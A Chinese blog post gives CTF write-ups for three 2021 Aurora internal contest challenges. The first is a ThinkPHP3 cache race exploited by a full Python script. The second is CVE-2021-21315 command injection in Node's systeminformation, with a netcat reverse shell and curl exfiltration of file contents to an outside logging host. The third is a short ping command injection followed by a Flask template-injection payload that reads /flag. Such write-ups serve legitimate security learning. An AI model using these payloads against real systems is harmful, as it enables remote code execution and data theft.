2021 Aurora内部赛
John_Frod Lv4

2021 Aurora内部赛


buy_a_flag

看了2遍大概是看懂了

以下内容是出题人的博客:https://oatmeal.vip/ctf-wp/buyaflag/

前置知识

MVC框架

tp3是一个基于MVC和面向对象的轻量级PHP开发框架,MVC即Model-View-Controll的缩写。

模板Model编写Model类,负责数据的操作;

视图View编写html文件,负责前台的页面显示;

控制器Controll编写类文件,负责后端的操作等等。

URL路由模式

tp3有几种路由模式:普通模式、PATHINFO模式、REWRITE模式、兼容模式。控制路由方式有配置文件中的参数决定,这题由于Nginx常规配置不支持PATHINFO,我使用了兼容模式。

1
2
'URL_MODEL'             =>  3,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式

Application目录

Application是主要应用目录,存放几乎所有的Coding。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Application
├─Common 应用公共模块
│ ├─Common 应用公共函数目录
│ └─Conf 应用公共配置文件目录
├─Home 默认生成的Home模块
│ ├─Conf 模块配置文件目录
│ ├─Common 模块函数公共目录
│ ├─Controller 模块控制器目录
│ ├─Model 模块模型目录
│ └─View 模块视图文件目录
├─Runtime 运行时目录
│ ├─Cache 模版缓存目录
│ ├─Data 数据目录
│ ├─Logs 日志目录
│ └─Temp 缓存目录

传参方法 I()

I方法用来传参,其用法格式如下:

1
I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])

第一个参数为传参的类型例如POST或者GET等等;后面三个参数可选,二三分别是默认值以及过滤方法,后面会讲到,本质上调用了call_user_func()

缓存方法S()

设置缓存的方法有两种,F方法和S方法。例子如下:

1
F('data', 'phpinfo()'); 

F方法缓存的文件名问data.php,生成文件位于Runtime/Data,没有经过加密。

1
S('data', 'phpinfo()');

S方法生成的缓存文件名经过md5编码,生成文件位于Runtime/Temp/,生成文件时序列化文件内容,并会注释掉文件内容,例如当你传入了1:

1
2
3
<?php
//000000000000s:1"1";
?>

该生成文件的方法并不安全,注释可以使用一些特殊字符来换行绕过。

编码后的文件名也是可以被猜解的,为了避免被拆解,可以设置变量DATA_CACHE_KEY

弱口令登录

img

Bootstarp写的前端,迅速确定功能点:购买、登录、关于、登出,其中后两个功能可以不看,而购买功能需要登录。

img

直接看登录点,有三个地方有提示,主页的注释页:

img

提示存在一个guest账户,使用guest/guest就可以成功登陆。

POST $discount

登录之后的购买功能,buy后提交参数折扣$discount,burp抓包设置为0即可购买,源码两处地方提示了$discount参数。

img

后台的比较由于没有对$discount进行类型转化,这里的$discount传入数组等非数字类型的变量都可以成功。

img

下载code

tp3代码审计

先找到控制器路径shop/Application/Home/Controller/IndexController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php

namespace Home\Controller;

use Think\Controller;

//----------------------------------
// 亲爱的同事你好。
// 当你看到这些代码的时候,意味着我已经从Aurora公司离职了。
// 意味着接下来这一坨像屎一样的项目需要你来维护了。
// 如果你尝试修改这些代码,这一定是一项错误的决定。
// 不要骂我为什么不写注释,因为代码虽然是我写的,但是我自己都看不懂,所以劝你别动!
// 千万别动!千万别动!千万别动!重要的事情说三遍!
// 这家公司每周都在996,经常加班,蓝腾还不发加班工资,偶尔007。
// 面试的时候说的那些福利都是骗人的,有时候还拖欠工资,不买社保,不要公积金。
// 还有一件很重要的事情,公司女程序员极少,所以想要解决单身问题,基本是没戏了。
// 深圳那么多公司,赶紧考虑下一家吧。
// - Oatmeal
//----------------------------------

class IndexController extends Controller
{
public function check()
{
// ...数据校验代码
rlog($return['code'], 'log');
// ...渲染页面代码
}

public function state()
{
// ...状态校验代码
rlog($return['code'], 'state');
}

public function logout()
{
// ...状态校验代码
rlog(1, 'logout');
// ...渲染页面代码
}

public function buy($filter=null) {
//HTTP协议,传输json需要添加请求头
header('Content-Type:application/json; charset=utf-8');
$username = session('username');
if (!$username) {
$return['code'] = 0;
$return['message'] = '你都没登录买你emoji呢';
rlog($return['code'], 'buy');
exit(json_encode($return));
}
$gid = 5;
if (empty($_POST)) {
$discount = 1;
} else {
if ($filter) {
$filter = think_filter($filter)? null: $filter;
}
$discount = I('post.discount','',$filter);
}
rest();
$return = $this->code($username, $gid, $discount);
rlog($return['code'], 'buy');
echo json_encode($return);
}

private function code($username = 'guest', $gid = 5, $discount = 1) {
$info = M('good')
->WHERE('gid=' . $gid)
->FIELD('gprice')
->SELECT();
$user = M('account')
->JOIN('shop_user on shop_account.id=shop_user.id')
->FIELD('shop_user.id, currency')
->WHERE("username='" . $username. "'")
->SELECT();
$gprice = $info[0]['gprice'];
$currency = $user[0]['currency'];
if ($gprice * $discount > $currency) {
$return['code'] = 0;
$return['message'] = '没钱你买你emoji';
} else {
$return['code'] = 1;
$return['message'] = '购买成功,这是CODE的地址:this_is_Code_and_Have_a_g00d_t1me.zip,祝您旅途愉快。';
$data['currency'] = $user['currency'] - $info['gprice'] * $discount;
M('account')->filter('strip_tags')->WHERE('id' . $user[0]['id'])->save($data);
};
return $return;
}

}

可以看到在执行完state、log、logout、buy操作之后,控制器会调用一个函数rlog()来操作传入的两个参数。跟进一下,在/Application/Common/Common/function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* 记录操作日志 支持不同事件
* @param string $event 事件名称
* @param string $code 传入的参数,记录事件成功与否
* @return void
*/

function rlog($code=0, $event='')
{
$log = time();
if ($event == 'log') { // 登录日志
S($log, 'log' . $code,1);
} else if ($event == 'logout') { // 登出日志
S($log, 'logout' . $code,1);
} else if ($event == 'buy') { // 购买日志
S($log, 'buy' . $code,1);
} else if ($event == 'state') { // 状态日志
S($log, 'state' . $code,1);
} else { //临时日志
S($log, 'temp' . $code,1);
}rest();rest();
unlink('Application/Runtime/Temp/' . md5($log) . '.php');
}

这函数看着有模有样,认真看或者Compare一下就知道其实是出题人自己加上去的函数。功能是通过S方法来缓存数据,生成缓存文件。

首先获得当前时间戳:

1
$log = time();

写缓存文件,如果传入的参数为['log', 'logout', 'state', 'buy']事件,将事件名和成功与否的状态码$code写入文件,文件名为当前时间戳的md5加密。

生成缓存文件后调用两次rest();

1
rest();rest();

rest()本质上是sleep(1)

1
2
3
4
// 休息函数
function rest() {
sleep(1);
}

也就是说这里会等两秒,之后删除文件。

1
unlink('Application/Runtime/Temp/' . md5($log) . '.php');

这种写法很熟悉有没有,很容易想到是条件竞争,rest()是用来缓冲网络延时造成的干扰。

回头看rlog()函数,传入两个参数$code以及$event,其中$code会通过字符串拼接写入文件,那么要做的就是找到$code参数可控点。

万能的call_user_func

I方法的第三个参数过滤函数的调用实际上通过了call_user_func()。或者我们跟踪function.php中的call_user_func(),找到函数,或者直接开Compare比较一下都行,这里的代码不同很明显了。

我们跟进一下I方法:

img

I方法在循环体内调用了函数array_map_recursive

img

而我们接着找,控制器中获取$discount变量时调用了I方法,并且传入的第三个参数$filter,而第三个参数可控。

img

这里的$filter经过过滤确保传入的参数没有危险函数,但是没有过滤rlog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function think_filter(&$value){
// TODO 其他安全过滤
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";

$pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";

$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";

$pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";

$vpattern = explode("|",$pattern);

foreach ($vpattern as $v) {
if (preg_match("/$value/i", $v)) {
return true;
}
}

// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
return true;
// $value .= ' ';
} else {
return false;
}
}

如果我们调用buy()方法,传入了$filter参数为rlog,在获取$_POST['discount']变量时调用了I方法,传入的变量实际上是 call_user_func('rlog', $discount),而$discount可控,在rlog方法中,$event默认为空(如果不为空缺省,实际上在PHP5中缺省函数也能调用,只不过会发生报错),传入的$discount与文件内容拼接,完成注入。

POST方法如下(需要先登录):

1
2
3
4
POST /index.php?s=/home/index/buy HTTP/1.1
Cookie: PHPSESSID=d33e9d6b455405efc0037fbeb11f1541

filter=rlog&discount=xxxxxxxx

调用函数后生成缓存文件并在两秒后删除,接着跳出函数,回到控制器buy,再一次调用rlog()记录事件buy,所以这里调用了两次rlog(),中间有一次rest()

img

所以完整的触发链子:

1
2
3
rlog($discount, ''); // 两次延时rest();rest();
rest(); // 两次rlog调用间延时
rlog($return['code'], ''buy); //两次延时rest();rest();

绕过Tp3缓存注释

这部分POC也比较多了,网上找一找就有了,大概是用%0a或者%0d注入文件内容,重写一行,参见链接:

ThinkPhp3.2.3缓存漏洞复现以及修复建议

EXP

循环POST提交discount,注意这里需要用unquote()即url编码解码一次。

1
2
3
4
5
6
7
8
def cache():
while 1:
url = "http://47.75.138.18/index.php?s=/home/index/buy"
discount = unquote('%0dsystem("cat /flag")//', 'utf-8')
payload = {'discount': discount, 'filter': 'rlog'}
headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'}
response = requests.request("POST", url, headers=headers, data=payload)
# print(response.text)

同时GET请求缓存文件名,通过获取当前时间的整型值md5加密,如果返回关键字则写入文件终止循环

1
2
3
4
5
6
7
8
9
10
11
12
def get():
while 1:
t = str(int(time.time()))
hl = hashlib.md5()
hl.update(t.encode(encoding='utf-8'))
url = "http://47.75.138.18/Application/Runtime/Temp/" + hl.hexdigest() + '.php'
response = requests.get(url=url)
if response.text.find('Aurora') != -1:
print(response.text)
f = open("flag.txt", "w")
f.write(response.text)
break

最终EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
from urllib.parse import unquote
import time
import hashlib
import threading


def login():
while 1:
url = "http://47.75.138.18/index.php?s=/home/index/check.html"
payload = {'username': 'guest', 'password': 'guest'}
headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'}
response = requests.request("POST", url, headers=headers, data=payload)
if response.text.find("成功") != -1:
print("login success!\n")
print("-------------\n")
break
else:
print("login failed!\n")
print("-------------\n")


def cache():
while 1:
url = "http://47.75.138.18/index.php?s=/home/index/buy"
discount = unquote('%0dsystem("cat /flag")//', 'utf-8')
payload = {'discount': discount, 'filter': 'rlog'}
headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'}
response = requests.request("POST", url, headers=headers, data=payload)
# print(response.text)


def get():
while 1:
t = str(int(time.time()))
hl = hashlib.md5()
hl.update(t.encode(encoding='utf-8'))
url = "http://47.75.138.18/Application/Runtime/Temp/" + hl.hexdigest() +
'.php'
response = requests.get(url=url)
if response.text.find('Aurora') != -1:
print(response.text)
f = open("flag.txt", "w")
f.write(response.text)
break

if __name__ == "__main__":
login()
threads = [threading.Thread(target=cache), threading.Thread(target=get)]
for thread in threads:
thread.start()

物理黑客攻击

题目进去是个小游戏,但是其实这个游戏和flag一点关系都没有。

image-20210508161523911

正确做法是直接找到/source源文件:

image-20210508163017565

该路由中调用了Node.js的系统信息库systeminformation,然后继续查看源码可以在package.json中看到其版本为4.34.15,会造成一个安全漏洞,而这个安全漏洞就是cve-2021-21315。

在网上找下poc:Node.js命令sanitize注入漏洞复现(CVE-2021-21315)

  • 反弹shell
1
?service_name[]=$(nc -e /bin/sh [ip] [port])

然后在自己服务器上监听即可。

  • curl外带数据
1
?service_name[]=$(curl http://t6n089.ceye.io/?a=`ls -a /|base64`)

这里base64编码的目的是防止有些特殊字符像空格会被过滤,将得到的数据base64解码

image-20210508165306355

发现flag是藏在根目录下的隐藏文件中.fl4g,最后把文件读一下即可

1
?service_name[]=$(curl http://t6n089.ceye.io/?a=`cat /.fl4g|base64`)

拿shell就给flag?

描述:You must shorter than me!

image-20210508113103357

首先一看ping就想到命令注入或者SSRF,但是一开始没找到传参的方法,找一下响应包

image-20210508113055618

提示参数是url,先尝试命令注入,命令注入需要把前一个语句闭合或者截断,然后加上自己的语句,常用的方式有;&|%0a等,尝试了几个之后发现%0a能够使用,其他被过滤了,直接ls看一下:

1
?url=%0als

image-20210508113621360

能看到只有一个文件,那就看一下内容:

1
?url=%0acat index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$url=$_GET['url'];
if(isset($url)){
if(strlen($url)>15){
echo "你多长心里没点逼数吗";
}else if(preg_match('/\*|\;|\||\&/',$url)){
echo "就你TM叫韩毅";
}else{
system("ping -c 4 $url");
}
}else{
header('hint:?url=');
echo '给我一个网址我帮你ping';
}

这里还发现过滤了几个关键的符号*&|,而且把长度限制在15个字符内,导致很难反弹shell,而且通过测试发现也无法保存文件,权限不够。接着可以看到根目录下有flag文件,但是读不了,看一眼权限

image-20210508114058500

只有root用户才能读,当前用户是www-data,看来这个用户是行不通了。

注意到根目录下还有个flask文件,尝试一下默认端口5000能不能进去

image-20210508114427890

默认端口进来了,里面是一个表单提交,既然是flask那么大概率是模板注入

image-20210508114601607

经过尝试之后发现似乎把长度限制在20个字符以内,那么就麻烦大了,好像没有一个读文件的payload能这么短的啊,就这样卡了好久。后来经过提示之后想到可以用几个拼接起来,既然这里有6个注入框,那么我们可以用的就有120个字符了,先找来一个短的能够用的payload:

1
{{lipsum.__globals__.os.popen('cat /flag').read()}}

然后用set进行拼接:

1
2
3
4
5
6
a={%set a=lipsum%}
&b={%set b=a.__globals__%}
&c={%set c=b.os%}
&d={%set d=c.popen%}
&e={%set e=d('cat /flag')%}
&f={{e.read()}}

问题来了,这里一个set__globals__已经超长了,再次卡住。。。

看wp后才发现原来request也能拼接,先把request进行拼接,然后把__globals__cat /flag作为参数传进去即可,这样就能不超过20个字符了。

get:

1
?s=__globals__&t=cat /flag

post:

1
2
3
4
5
6
a={%set a=lipsum%}
&b={%set b=request%}
&c={%set c=b.args%}
&d={%set d=a[c.s].os%}
&e={%set e=d.popen%}
&f={{e(c.t).read()}}

参考资料

第一次出题(AURORA内部赛)

[AuroraCTF 2021] Buy A Flag

  • Post title:2021 Aurora内部赛
  • Post author:John_Frod
  • Create time:2021-05-10 15:18:04
  • Post link:https://keep.xpoet.cn/2021/05/10/2021-Aurora内部赛/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.